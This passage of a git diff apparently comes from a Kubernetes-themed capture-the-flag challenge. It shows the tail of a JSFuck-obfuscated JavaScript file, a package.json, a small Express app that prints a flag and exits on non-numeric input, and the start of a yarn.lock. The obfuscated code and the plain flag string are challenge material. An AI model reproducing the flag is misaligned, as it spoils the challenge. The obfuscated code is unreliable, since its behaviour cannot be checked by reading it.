+[]])+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())(require,__dirname); \ No newline at end of file diff --git a/k8s_easter_eggs/part4/package.json b/k8s_easter_eggs/part4/package.json new file mode 100644 index 0000000..579b508 --- /dev/null +++ b/k8s_easter_eggs/part4/package.json @@ -0,0 +1,10 @@ +{ + "name": "part4_nicolas", + "version": "1.0.0", + "main": "index.js", + "license": "MIT", + "dependencies": { + "body-parser": "^1.20.1", + "express": "^4.18.2" + } +} diff --git a/k8s_easter_eggs/part4/source.js b/k8s_easter_eggs/part4/source.js new file mode 100644 index 0000000..1dbd1e9 --- /dev/null +++ b/k8s_easter_eggs/part4/source.js @@ -0,0 +1,27 @@ +const express = require('express'); +const path = require('path'); + +const app = express(); +app.use(express.urlencoded()); +const port = 3001; + +app.get('/', (req, res) => { + res.sendFile(path.join(__dirname, '/index.html')); +}); + +app.post('/', (req, res) => { + const body = req.body; + const beerCount = parseInt(body.beerCount); + if(isNaN(beerCount)) { + console.log("NOOOO PANIC PANIC!!!!! WE NEVER ANTICIPATED SUCH AN ANSWER AJPIFGNLDFG"); + console.log("Also here is a cool flag :) IGCTF-KLARRIO{brand_brand_paniek_paniek_brand}"); + res.send('Something went horribly wrong... Check logs. Bailing out!'); + process.exit(1); + } else { + res.send('It works :)'); + } +}); + +app.listen(port, () => { + console.log(`Express app listening on port ${port}. Any logs performed by POST requests land here...`); +}); \ No newline at end of file diff --git a/k8s_easter_eggs/part4/yarn.lock b/k8s_easter_eggs/part4/yarn.lock new file mode 100644 index 0000000..edf5da7 --- /dev/null +++ b/k8s_easter_eggs/part4/yarn.lock @@ -0,0 +1,405 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +accepts@~1.3.8: + version 